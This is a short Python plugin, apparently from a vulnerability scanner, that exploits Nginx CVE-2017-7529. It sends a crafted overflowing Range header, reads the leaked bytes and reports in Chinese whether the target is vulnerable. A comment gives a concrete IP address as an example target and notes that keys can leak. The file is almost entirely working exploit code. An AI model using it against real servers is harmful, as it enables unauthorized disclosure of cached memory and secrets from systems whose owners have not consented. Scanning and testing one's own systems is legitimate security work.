30 lines
1.1 KiB
Python
30 lines
1.1 KiB
Python
|
#coding=utf-8
|
|||
|
|
# Nginx信息泄露！python3 NginxCVE-2017-7529.py http://207.246.80.61:8000/proxy/demo.png
|
|||
|
|
# 敏感信息有KEY等等
|
|||
|
|
import requests
|
|||
|
|
from termcolor import cprint
|
|||
|
|
|
|||
|
|
class NginxCVE_2017_7529():
|
|||
|
|
def attack(self, url):
|
|||
|
|
#url = r'http://207.246.80.61:8000/'
|
|||
|
|
try:
|
|||
|
|
a = requests.get(url)
|
|||
|
|
start = int(a.headers['Content-Length']) + 300
|
|||
|
|
end = 0x8000000000000000 - start
|
|||
|
|
|
|||
|
|
headers = {
|
|||
|
|
"Range": "bytes=-{},-{}".format(start, end)
|
|||
|
|
}
|
|||
|
|
res = requests.get(url=url, headers=headers, stream=True, timeout=10)
|
|||
|
|
ret = res.raw.read(500)
|
|||
|
|
code = res.status_code
|
|||
|
|
|
|||
|
|
if code == 206:
|
|||
|
|
print( "[+]存在Nginx越界读取缓存漏洞（CVE-2017-7529）漏洞...(低危)")
|
|||
|
|
else:
|
|||
|
|
print("[-]不存在Nginx越界读取缓存漏洞（CVE-2017-7529）漏洞...(低危)")
|
|||
|
|
except Exception as e:
|
|||
|
|
cprint("[-] " + __file__ + "====>连接超时", "cyan")
|
|||
|
|
|
|||
|
|
def Nginx_special_plugin_(arg,config):
|
|||
|
|
NginxCVE_2017_7529().attack(arg.url)
|